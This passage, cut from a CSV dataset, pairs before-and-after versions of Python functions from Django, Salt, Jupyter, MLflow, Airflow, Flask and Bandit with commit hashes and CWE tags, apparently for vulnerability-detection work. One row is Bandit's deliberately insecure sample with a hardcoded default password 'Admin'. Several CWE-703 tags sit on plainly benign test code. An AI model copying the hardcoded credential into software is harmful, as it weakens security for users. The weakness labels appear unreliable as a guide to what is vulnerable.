                ""If you are decorating a classmethod, be sure to use ""
                ""@method_decorator.""
            )
            if parameters:
                request.sensitive_post_parameters = parameters
            else:
                request.sensitive_post_parameters = '__ALL__'
            return view(request, *args, **kwargs)
        return sensitive_post_parameters_wrapper",CWE-703,django/django,dfb4cb9970f86487f0aaa88c5dfcfafa31e4f430,"def decorator(view):
        @functools.wraps(view)
        def sensitive_post_parameters_wrapper(request, *args, **kwargs):
            assert isinstance(request, HttpRequest), (
              ""sensitive_post_parameters didn't receive an HttpRequest. If you ""
              ""are decorating a classmethod, be sure to use @method_decorator.""
            )
            if parameters:
                request.sensitive_post_parameters = parameters
            else:
                request.sensitive_post_parameters = '__ALL__'
            return view(request, *args, **kwargs)
        return sensitive_post_parameters_wrapper"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/db/backends/postgis/operations.py,0,"def converter(value, expression, connection):
            return None if value is None else GEOSGeometryBase(read(value), geom_class)",CWE-Unknown,django/django,3905cfa1a578275323bfbfbef09f5aee05b33301,"def converter(value, expression, connection):
            return None if value is None else GEOSGeometryBase(read(value), geom_class)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,examples/hardcoded-passwords.py,0,,UNKNOWN,PyCQA/bandit,6765a57254a6563a26c946e94321d8d447c094fe,"def someFunction(user, password=""Admin""):
    print(""Hi "" + user)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/oracle/operations.py,0,"def _get_no_autofield_sequence_name(self, table):
        """"""
        Manually created sequence name to keep backward compatibility for
        AutoFields that aren't Oracle identity columns.
        """"""
        name_length = self.max_name_length() - 3
        return '%s_SQ' % truncate_name(strip_quotes(table), name_length).upper()",CWE-Unknown,django/django,c6a3546093bebae8225a2c5b7e0836a2b0617ee5,"def _get_no_autofield_sequence_name(self, table):
        """"""
        Manually created sequence name to keep backward compatibility for
        AutoFields that aren't Oracle identity columns.
        """"""
        name_length = self.max_name_length() - 3
        sequence_name = '%s_SQ' % strip_quotes(table)
        return truncate_name(sequence_name, name_length).upper()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/junos.py,0,"def install_config(name, **kwargs):
    '''
    Loads and commits the configuration provided.

    .. code-block:: yaml

            /home/user/config.set:
              junos:
                - install_config
                - timeout: 100

    name: path to the configuration file.

    keyworded arguments taken by load function of PyEZ
    '''
    ret = {'name': name, 'changes': {}, 'result': True, 'comment': ''}
    ret['changes'] = __salt__['junos.install_config'](name, **kwargs)
    return ret",,saltstack/salt,7dab1db73d013d66391913504c216fb11cead84d,"def install_config(name, **kwargs):
    '''
    Loads and commits the configuration provided.

    .. code-block:: yaml

            /home/user/config.set:
              junos:
                - install_config
                - timeout: 100

    name: path to the configuration file.

    keyworded arguments taken by load fucntion of PyEZ
    '''
    ret = {'name': name, 'changes': {}, 'result': True, 'comment': ''}
    ret['changes'] = __salt__['junos.install_config'](name, **kwargs)
    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/auth/login.py,0,"def get_user_token(cls, handler):
        """"""Get the user token from a request

        Default:

        - in URL parameters: ?token=<token>
        - in header: Authorization: token <token>
        """"""

        user_token = handler.get_argument('token', '')
        if not user_token:
            # get it from Authorization header
            m = cls.auth_header_pat.match(handler.request.headers.get('Authorization', ''))
            if m:
                user_token = m.group(1)
        return user_token",,jupyter/notebook,ab791441b23458909e92cd7a6881eb2fca393def,"def get_user_token(cls, handler):
        """"""Get the user token from a request

        Default:

        - in URL parameters: ?token=<token>
        - in header: Authorization: token <token>
        """"""

        user_token = handler.get_argument('token', '')
        if not user_token:
            # get it from Authorization header
            m = cls.auth_header_pat.match(handler.request.headers.get('Authorization', ''))
            if m:
                user_token = m.group(1)
        return user_token"
,UNKNOWN,UNKNOWN,tests/server/auth/test_auth.py,1,"def test_authenticate(client, monkeypatch):
    # unauthenticated
    monkeypatch.delenvs(
        [MLFLOW_TRACKING_USERNAME.name, MLFLOW_TRACKING_PASSWORD.name], raising=False
    )
    with pytest.raises(MlflowException, match=r""You are not authenticated."") as exception_context:
        client.search_experiments()
    assert exception_context.value.error_code == ErrorCode.Name(UNAUTHENTICATED)

    # authenticated
    username, password = create_user(client.tracking_uri)
    with User(username, password, monkeypatch):
        client.search_experiments()",CWE-703,mlflow/mlflow,7217292cdc5df4c3430c682c97e6524b10d1e919,"def test_authenticate(client, monkeypatch):
    # unauthenticated
    monkeypatch.delenvs(
        [MLFLOW_TRACKING_USERNAME.name, MLFLOW_TRACKING_PASSWORD.name], raising=False
    )
    with pytest.raises(MlflowException, match=r""You are not authenticated."") as exception_context:
        client.search_experiments()
    assert exception_context.value.error_code == ErrorCode.Name(UNAUTHENTICATED)

    # authenticated
    username, password = create_user(client.tracking_uri)
    with User(username, password, monkeypatch):
        client.search_experiments()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/state.py,0,"def get_tops(self):
        '''
        Gather the top files
        '''
        tops = DefaultOrderedDict(list)
        include = DefaultOrderedDict(list)
        done = DefaultOrderedDict(list)
        found = 0  # did we find any contents in the top files?
        # Gather initial top files
        if self.opts['top_file_merging_strategy'] == 'same' and \
        not self.opts['environment']:
            if not self.opts['default_top']:
                raise SaltRenderError('Top file merge strategy set to same, but no default_top '
                          'configuration option was set')
            self.opts['environment'] = self.opts['default_top']

        if self.opts['environment']:
            contents = self.client.cache_file(
                self.opts['state_top'],
                self.opts['environment']
            )
            if contents:
                found = 1
                tops[self.opts['environment']] = [
                    compile_template(
                        contents,
                        self.state.rend,
                        self.state.opts['renderer'],
                        saltenv=self.opts['environment']
                    )
                ]
            else:
                tops[self.opts['environment']] = [{}]
        elif self.opts['top_file_merging_strategy'] == 'merge':
            found = 0
            if self.opts.get('state_top_saltenv', False):
                saltenv = self.opts['state_top_saltenv']
                contents = self.client.cache_file(
                    self.opts['state_top'],
                    saltenv
                )
                if contents:
                    found = found + 1
                    tops[saltenv].append(
                        compile_template(
                            contents,
                            self.state.rend,
                            self.state.opts['renderer'],
                            saltenv=saltenv
                        )
                    )
                else:
                    tops[saltenv].append({})
                    log.debug('No contents loaded for env: {0}'.format(saltenv))
            else:
                for saltenv in self._get_envs():
                    contents = self.client.cache_file(
                        self.opts['state_top'],
                        saltenv
                    )
                    if contents:
                        found = found + 1
                        tops[saltenv].append(
                            compile_template(
                                contents,
                                self.state.rend,
                                self.state.opts['renderer'],
                                saltenv=saltenv
                            )
                        )
                    else:
                        tops[saltenv].append({})
                        log.debug('No contents loaded for env: {0}'.format(saltenv))
            if found > 1:
                log.warning('Top file merge strategy set to \'merge\' and multiple top files found. '
                            'Top file merging order is undefined; '
                            'for better results use \'same\' option')

        if found == 0:
            log.error('No contents found in top file')

        # Search initial top files for includes
        for saltenv, ctops in six.iteritems(tops):
            for ctop in ctops:
                if 'include' not in ctop:
                    continue
                for sls in ctop['include']:
                    include[saltenv].append(sls)
                ctop.pop('include')
        # Go through the includes and pull out the extra tops and add them
        while include:
            pops = []
            for saltenv, states in six.iteritems(include):
                pops.append(saltenv)
                if not states:
                    continue
                for sls_match in states:
                    for sls in fnmatch.filter(self.avail[saltenv], sls_match):
                        if sls in done[saltenv]:
                            continue
                        tops[saltenv].append(
                            compile_template(
                                self.client.get_state(
                                    sls,
                                    saltenv
                                ).get('dest', False),
                                self.state.rend,
                                self.state.opts['renderer'],
                                saltenv=saltenv
                            )
                        )
                        done[saltenv].append(sls)
            for saltenv in pops:
                if saltenv in include:
                    include.pop(saltenv)
        return tops",,saltstack/salt,996ff56dd47cc8ddb812902f6c3ed941b8bad1aa,"def get_tops(self):
        '''
        Gather the top files
        '''
        tops = DefaultOrderedDict(list)
        include = DefaultOrderedDict(list)
        done = DefaultOrderedDict(list)
        found = 0  # did we find any contents in the top files?
        # Gather initial top files
        if self.opts['top_file_merging_strategy'] == 'same' and \
        not self.opts['environment']:
            if not self.opts['default_top']:
                raise SaltRenderError('Top file merge strategy set to same, but no default_top '
                          'configuration option was set')
            self.opts['environment'] = self.opts['default_top']

        if self.opts['environment']:
            contents = self.client.cache_file(
                self.opts['state_top'],
                self.opts['environment']
            )
            if contents:
                found = 1
            tops[self.opts['environment']] = [
                compile_template(
                    contents,
                    self.state.rend,
                    self.state.opts['renderer'],
                    saltenv=self.opts['environment']
                )
            ]
        elif self.opts['top_file_merging_strategy'] == 'merge':
            found = 0
            if self.opts.get('state_top_saltenv', False):
                saltenv = self.opts['state_top_saltenv']
                contents = self.client.cache_file(
                    self.opts['state_top'],
                    saltenv
                )
                if contents:
                    found = found + 1
                else:
                    log.debug('No contents loaded for env: {0}'.format(saltenv))

                tops[saltenv].append(
                    compile_template(
                        contents,
                        self.state.rend,
                        self.state.opts['renderer'],
                        saltenv=saltenv
                    )
                )
            else:
                for saltenv in self._get_envs():
                    contents = self.client.cache_file(
                        self.opts['state_top'],
                        saltenv
                    )
                    if contents:
                        found = found + 1
                    else:
                        log.debug('No contents loaded for env: {0}'.format(saltenv))

                    tops[saltenv].append(
                        compile_template(
                            contents,
                            self.state.rend,
                            self.state.opts['renderer'],
                            saltenv=saltenv
                        )
                    )
            if found > 1:
                log.warning('Top file merge strategy set to \'merge\' and multiple top files found. '
                            'Top file merging order is undefined; '
                            'for better results use \'same\' option')

        if found == 0:
            log.error('No contents found in top file')

        # Search initial top files for includes
        for saltenv, ctops in six.iteritems(tops):
            for ctop in ctops:
                if 'include' not in ctop:
                    continue
                for sls in ctop['include']:
                    include[saltenv].append(sls)
                ctop.pop('include')
        # Go through the includes and pull out the extra tops and add them
        while include:
            pops = []
            for saltenv, states in six.iteritems(include):
                pops.append(saltenv)
                if not states:
                    continue
                for sls_match in states:
                    for sls in fnmatch.filter(self.avail[saltenv], sls_match):
                        if sls in done[saltenv]:
                            continue
                        tops[saltenv].append(
                            compile_template(
                                self.client.get_state(
                                    sls,
                                    saltenv
                                ).get('dest', False),
                                self.state.rend,
                                self.state.opts['renderer'],
                                saltenv=saltenv
                            )
                        )
                        done[saltenv].append(sls)
            for saltenv in pops:
                if saltenv in include:
                    include.pop(saltenv)
        return tops"
,UNKNOWN,UNKNOWN,tests/api_connexion/schemas/test_dag_schema.py,1,"def test_serialize(self):
        dag = DAG(
            dag_id=""test_dag"",
            start_date=datetime(2020, 6, 19),
            doc_md=""docs"",
            orientation=""LR"",
            default_view=""duration"",
            params={""foo"": 1},
            tags=['example1', 'example2'],
        )
        schema = DAGDetailSchema()
        expected = {
            'catchup': True,
            'concurrency': 16,
            'dag_id': 'test_dag',
            'dag_run_timeout': None,
            'default_view': 'duration',
            'description': None,
            'doc_md': 'docs',
            'fileloc': __file__,
            ""file_token"": SERIALIZER.dumps(__file__),
            'is_paused': None,
            'is_subdag': False,
            'orientation': 'LR',
            'owners': [],
            'params': {'foo': 1},
            'schedule_interval': {'__type': 'TimeDelta', 'days': 1, 'seconds': 0, 'microseconds': 0},
            'start_date': '2020-06-19T00:00:00+00:00',
            'tags': [{'name': ""example1""}, {'name': ""example2""}],
            'timezone': ""Timezone('UTC')"",
        }
        assert schema.dump(dag) == expected",CWE-703,apache/airflow,5dd51dc903933457e3f2978c22d8e0f98eb24ff1,"def test_serialize(self):
        dag = DAG(
            dag_id=""test_dag"",
            start_date=datetime(2020, 6, 19),
            doc_md=""docs"",
            orientation=""LR"",
            default_view=""duration"",
            params={""foo"": 1},
        )
        schema = DAGDetailSchema()
        expected = {
            'catchup': True,
            'concurrency': 16,
            'dag_id': 'test_dag',
            'dag_run_timeout': None,
            'default_view': 'duration',
            'description': None,
            'doc_md': 'docs',
            'fileloc': __file__,
            ""file_token"": SERIALIZER.dumps(__file__),
            'is_paused': None,
            'is_subdag': False,
            'orientation': 'LR',
            'owners': [],
            'params': {'foo': 1},
            'schedule_interval': {'__type': 'TimeDelta', 'days': 1, 'seconds': 0, 'microseconds': 0},
            'start_date': '2020-06-19T00:00:00+00:00',
            'tags': None,
            'timezone': ""Timezone('UTC')"",
        }
        assert schema.dump(dag) == expected"
,UNKNOWN,UNKNOWN,tests/always/test_project_structure.py,1,"def test_providers_modules_should_have_tests(self):
        """"""
        Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
        """"""
        # The test below had a but for quite a while and we missed a lot of modules to have tess
        # We should make sure that one goes to 0
        OVERLOOKED_TESTS = [
            ""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
            ""tests/providers/amazon/aws/operators/test_emr.py"",
            ""tests/providers/amazon/aws/operators/test_sagemaker.py"",
            ""tests/providers/amazon/aws/sensors/test_emr.py"",
            ""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
            ""tests/providers/amazon/aws/test_exceptions.py"",
            ""tests/providers/amazon/aws/triggers/test_athena.py"",
            ""tests/providers/amazon/aws/triggers/test_batch.py"",
            ""tests/providers/amazon/aws/triggers/test_eks.py"",
            ""tests/providers/amazon/aws/triggers/test_emr.py"",
            ""tests/providers/amazon/aws/triggers/test_glue_crawler.py"",
            ""tests/providers/amazon/aws/triggers/test_lambda_function.py"",
            ""tests/providers/amazon/aws/triggers/test_rds.py"",
            ""tests/providers/amazon/aws/triggers/test_step_function.py"",
            ""tests/providers/amazon/aws/utils/test_rds.py"",
            ""tests/providers/amazon/aws/utils/test_sagemaker.py"",
            ""tests/providers/amazon/aws/utils/test_sqs.py"",
            ""tests/providers/amazon/aws/utils/test_tags.py"",
            ""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
            ""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
            ""tests/providers/apache/druid/operators/test_druid_check.py"",
            ""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
            ""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
            ""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
            ""tests/providers/apache/hive/plugins/test_hive.py"",
            ""tests/providers/apache/kafka/hooks/test_base.py"",
            ""tests/providers/celery/executors/test_celery_executor_utils.py"",
            ""tests/providers/celery/executors/test_default_celery.py"",
            ""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
            ""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/test_k8s_model.py"",
            ""tests/providers/cncf/kubernetes/test_kube_client.py"",
            ""tests/providers/cncf/kubernetes/test_kube_config.py"",
            ""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
            ""tests/providers/cncf/kubernetes/test_secret.py"",
            ""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
            ""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
            ""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
            ""tests/providers/databricks/hooks/test_databricks_base.py"",
            ""tests/providers/google/cloud/fs/test_gcs.py"",
            ""tests/providers/google/cloud/links/test_automl.py"",
            ""tests/providers/google/cloud/links/test_base.py"",
            ""tests/providers/google/cloud/links/test_bigquery.py"",
            ""tests/providers/google/cloud/links/test_bigquery_dts.py"",
            ""tests/providers/google/cloud/links/test_bigtable.py"",
            ""tests/providers/google/cloud/links/test_cloud_build.py"",
            ""tests/providers/google/cloud/links/test_cloud_functions.py"",
            ""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
            ""tests/providers/google/cloud/links/test_cloud_sql.py"",
            ""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
            ""tests/providers/google/cloud/links/test_cloud_tasks.py"",
            ""tests/providers/google/cloud/links/test_compute.py"",
            ""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
            ""tests/providers/google/cloud/links/test_datacatalog.py"",
            ""tests/providers/google/cloud/links/test_dataflow.py"",
            ""tests/providers/google/cloud/links/test_dataform.py"",
            ""tests/providers/google/cloud/links/test_datafusion.py"",
            ""tests/providers/google/cloud/links/test_dataplex.py"",
            ""tests/providers/google/cloud/links/test_dataprep.py"",
            ""tests/providers/google/cloud/links/test_dataproc.py"",
            ""tests/providers/google/cloud/links/test_datastore.py"",
            ""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
            ""tests/providers/google/cloud/links/test_life_sciences.py"",
            ""tests/providers/google/cloud/links/test_mlengine.py"",
            ""tests/providers/google/cloud/links/test_pubsub.py"",
            ""tests/providers/google/cloud/links/test_spanner.py"",
            ""tests/providers/google/cloud/links/test_stackdriver.py"",
            ""tests/providers/google/cloud/links/test_vertex_ai.py"",
            ""tests/providers/google/cloud/links/test_workflows.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
            ""tests/providers/google/cloud/sensors/test_dataform.py"",
            ""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
            ""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
            ""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
            ""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
            ""tests/providers/google/cloud/utils/test_bigquery.py"",
            ""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
            ""tests/providers/google/cloud/utils/test_dataform.py"",
            ""tests/providers/google/common/links/test_storage.py"",
            ""tests/providers/google/common/test_consts.py"",
            ""tests/providers/google/test_go_module_utils.py"",
            ""tests/providers/microsoft/azure/fs/test_adls.py"",
            ""tests/providers/microsoft/azure/operators/test_adls.py"",
            ""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
            ""tests/providers/mongo/sensors/test_mongo.py"",
            ""tests/providers/openlineage/extractors/test_manager.py"",
            ""tests/providers/openlineage/plugins/test_adapter.py"",
            ""tests/providers/openlineage/plugins/test_facets.py"",
            ""tests/providers/openlineage/test_sqlparser.py"",
            ""tests/providers/redis/operators/test_redis_publish.py"",
            ""tests/providers/redis/sensors/test_redis_key.py"",
            ""tests/providers/slack/notifications/test_slack_notifier.py"",
            ""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
        ]

        # TODO: Should we extend this test to cover other directories?
        modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))

        # Make path relative
        modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
        # Exclude example_dags
        modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
        # Exclude __init__.py
        modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
        # Change airflow/ to tests/
        expected_test_files = list(
            f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
        )
        # Add test_ prefix to filename
        expected_test_files = list(
            f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
            for f in expected_test_files
            if not f.endswith(""__init__.py"")
        )

        current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
        # Make path relative
        current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
        # Exclude __init__.py
        current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))

        modules_files = set(modules_files)
        expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
        current_test_files = set(current_test_files)

        missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)

        assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""

        added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
        assert set() == added_test_files, (
            ""Detect added tests in providers module - please remove the tests ""
            ""from OVERLOOKED_TESTS list above""
        )",CWE-703,apache/airflow,5305f4b696cf5a786f30e5ebbeab25949b5bbdd4,"def test_providers_modules_should_have_tests(self):
        """"""
        Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
        """"""
        # The test below had a but for quite a while and we missed a lot of modules to have tess
        # We should make sure that one goes to 0
        OVERLOOKED_TESTS = [
            ""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
            ""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
            ""tests/providers/amazon/aws/operators/test_emr.py"",
            ""tests/providers/amazon/aws/operators/test_sagemaker.py"",
            ""tests/providers/amazon/aws/sensors/test_emr.py"",
            ""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
            ""tests/providers/amazon/aws/test_exceptions.py"",
            ""tests/providers/amazon/aws/triggers/test_athena.py"",
            ""tests/providers/amazon/aws/triggers/test_batch.py"",
            ""tests/providers/amazon/aws/triggers/test_eks.py"",
            ""tests/providers/amazon/aws/triggers/test_emr.py"",
            ""tests/providers/amazon/aws/triggers/test_glue_crawler.py"",
            ""tests/providers/amazon/aws/triggers/test_lambda_function.py"",
            ""tests/providers/amazon/aws/triggers/test_rds.py"",
            ""tests/providers/amazon/aws/triggers/test_step_function.py"",
            ""tests/providers/amazon/aws/utils/test_rds.py"",
            ""tests/providers/amazon/aws/utils/test_sagemaker.py"",
            ""tests/providers/amazon/aws/utils/test_sqs.py"",
            ""tests/providers/amazon/aws/utils/test_tags.py"",
            ""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
            ""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
            ""tests/providers/apache/druid/operators/test_druid_check.py"",
            ""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
            ""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
            ""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
            ""tests/providers/apache/hive/plugins/test_hive.py"",
            ""tests/providers/apache/kafka/hooks/test_base.py"",
            ""tests/providers/celery/executors/test_celery_executor_utils.py"",
            ""tests/providers/celery/executors/test_default_celery.py"",
            ""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
            ""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
            ""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/test_k8s_model.py"",
            ""tests/providers/cncf/kubernetes/test_kube_client.py"",
            ""tests/providers/cncf/kubernetes/test_kube_config.py"",
            ""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
            ""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
            ""tests/providers/cncf/kubernetes/test_secret.py"",
            ""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
            ""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
            ""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
            ""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
            ""tests/providers/databricks/hooks/test_databricks_base.py"",
            ""tests/providers/google/cloud/fs/test_gcs.py"",
            ""tests/providers/google/cloud/links/test_automl.py"",
            ""tests/providers/google/cloud/links/test_base.py"",
            ""tests/providers/google/cloud/links/test_bigquery.py"",
            ""tests/providers/google/cloud/links/test_bigquery_dts.py"",
            ""tests/providers/google/cloud/links/test_bigtable.py"",
            ""tests/providers/google/cloud/links/test_cloud_build.py"",
            ""tests/providers/google/cloud/links/test_cloud_functions.py"",
            ""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
            ""tests/providers/google/cloud/links/test_cloud_sql.py"",
            ""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
            ""tests/providers/google/cloud/links/test_cloud_tasks.py"",
            ""tests/providers/google/cloud/links/test_compute.py"",
            ""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
            ""tests/providers/google/cloud/links/test_datacatalog.py"",
            ""tests/providers/google/cloud/links/test_dataflow.py"",
            ""tests/providers/google/cloud/links/test_dataform.py"",
            ""tests/providers/google/cloud/links/test_datafusion.py"",
            ""tests/providers/google/cloud/links/test_dataplex.py"",
            ""tests/providers/google/cloud/links/test_dataprep.py"",
            ""tests/providers/google/cloud/links/test_dataproc.py"",
            ""tests/providers/google/cloud/links/test_datastore.py"",
            ""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
            ""tests/providers/google/cloud/links/test_life_sciences.py"",
            ""tests/providers/google/cloud/links/test_mlengine.py"",
            ""tests/providers/google/cloud/links/test_pubsub.py"",
            ""tests/providers/google/cloud/links/test_spanner.py"",
            ""tests/providers/google/cloud/links/test_stackdriver.py"",
            ""tests/providers/google/cloud/links/test_vertex_ai.py"",
            ""tests/providers/google/cloud/links/test_workflows.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
            ""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
            ""tests/providers/google/cloud/sensors/test_dataform.py"",
            ""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
            ""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
            ""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
            ""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
            ""tests/providers/google/cloud/utils/test_bigquery.py"",
            ""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
            ""tests/providers/google/cloud/utils/test_dataform.py"",
            ""tests/providers/google/common/links/test_storage.py"",
            ""tests/providers/google/common/test_consts.py"",
            ""tests/providers/google/test_go_module_utils.py"",
            ""tests/providers/microsoft/azure/fs/test_adls.py"",
            ""tests/providers/microsoft/azure/operators/test_adls.py"",
            ""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
            ""tests/providers/microsoft/azure/triggers/test_wasb.py"",
            ""tests/providers/mongo/sensors/test_mongo.py"",
            ""tests/providers/openlineage/extractors/test_manager.py"",
            ""tests/providers/openlineage/plugins/test_adapter.py"",
            ""tests/providers/openlineage/plugins/test_facets.py"",
            ""tests/providers/openlineage/test_sqlparser.py"",
            ""tests/providers/redis/operators/test_redis_publish.py"",
            ""tests/providers/redis/sensors/test_redis_key.py"",
            ""tests/providers/slack/notifications/test_slack_notifier.py"",
            ""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
        ]

        # TODO: Should we extend this test to cover other directories?
        modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))

        # Make path relative
        modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
        # Exclude example_dags
        modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
        # Exclude __init__.py
        modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
        # Change airflow/ to tests/
        expected_test_files = list(
            f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
        )
        # Add test_ prefix to filename
        expected_test_files = list(
            f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
            for f in expected_test_files
            if not f.endswith(""__init__.py"")
        )

        current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
        # Make path relative
        current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
        # Exclude __init__.py
        current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))

        modules_files = set(modules_files)
        expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
        current_test_files = set(current_test_files)

        missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)

        assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""

        added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
        assert set() == added_test_files, (
            ""Detect added tests in providers module - please remove the tests ""
            ""from OVERLOOKED_TESTS list above""
        )"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/wrappers.py,0,"def blueprint(self):
        """"""The name of the current blueprint""""""
        if self.url_rule and '.' in self.url_rule.endpoint:
            return self.url_rule.endpoint.rsplit('.', 1)[0]",,pallets/flask,ea7a1720779ab4680304d2bc9dffcb6f5c7f2798,"def blueprint(self):
        """"""The name of the current blueprint""""""
        if self.url_rule and '.' in self.url_rule.endpoint:
            return self.url_rule.endpoint.split('.', 1)[0]"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_s3.py,1,"def test_load_string_acl(self, s3_bucket):
        hook = S3Hook()
        hook.load_string(""Contént"", ""my_key"", s3_bucket, acl_policy=""public-read"")
        response = boto3.client(""s3"").get_object_acl(Bucket=s3_bucket, Key=""my_key"", RequestPayer=""requester"")
        assert response[""Grants""][1][""Permission""] == ""READ""
